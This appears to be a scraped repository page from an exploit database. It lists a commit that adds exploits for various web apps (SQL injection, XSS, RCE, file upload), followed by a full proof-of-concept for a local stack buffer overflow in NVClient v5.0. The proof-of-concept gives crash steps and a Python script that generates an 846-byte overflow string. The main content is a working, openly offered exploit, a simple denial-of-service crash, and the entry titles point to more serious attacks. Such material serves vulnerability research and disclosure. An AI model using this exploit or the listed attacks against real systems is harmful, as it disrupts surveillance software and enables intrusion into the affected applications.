4e246a01fb
18 changes to exploits/shellcodes/ghdb
DLINK DPH-400SE - Exposure of Sensitive Information
FileMage Gateway 1.10.9 - Local File Inclusion
Academy LMS 6.1 - Arbitrary File Upload
AdminLTE PiHole 5.18 - Broken Access Control
Blood Donor Management System v1.0 - Stored XSS
Bus Reservation System 1.1 - Multiple-SQLi
Credit Lite 1.5.4 - SQL Injection
CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Hyip Rio 2.1 - Arbitrary File Upload
Member Login Script 3.3 - Client-side desync
SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Kingo ROOT 1.5.8 - Unquoted Service Path
NVClient v5.0 - Stack Buffer Overflow (DoS)
Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
30 lines
No EOL
1 KiB
Text
30 lines
No EOL
1 KiB
Text
# Exploit Title: NVClient v5.0 - Stack Buffer Overflow (DoS)
|
|
# Discovered by: Ahmet Ümit BAYRAM
|
|
# Discovered Date: 2023-08-19
|
|
# Software Link: http://www.neonguvenlik.com/yuklemeler/yazilim/kst-f919-hd2004.rar
|
|
# Software Manual: http://download.eyemaxdvr.com/DVST%20ST%20SERIES/CMS/Video%20Surveillance%20Management%20Software(V5.0).pdf
|
|
# Vulnerability Type: Buffer Overflow Local
|
|
# Tested On: Windows 10 64bit
|
|
# Tested Version: 5.0
|
|
|
|
|
|
# Steps to Reproduce:
|
|
# 1- Run the python script and create exploit.txt file
|
|
# 2- Open the application and log in
|
|
# 3- Click the "Config" button in the upper menu
|
|
# 4- Click the "User" button just below it
|
|
# 5- Now click the "Add users" button in the lower left
|
|
# 6- Fill in the Username, Password, and Confirm boxes
|
|
# 7- Paste the characters from exploit.txt into the Contact box
|
|
# 8- Click OK and crash!
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
exploit = 'A' * 846
|
|
|
|
try:
|
|
with open("exploit.txt","w") as file:
|
|
file.write(exploit)
|
|
print("POC is created")
|
|
except:
|
|
print("POC not created") |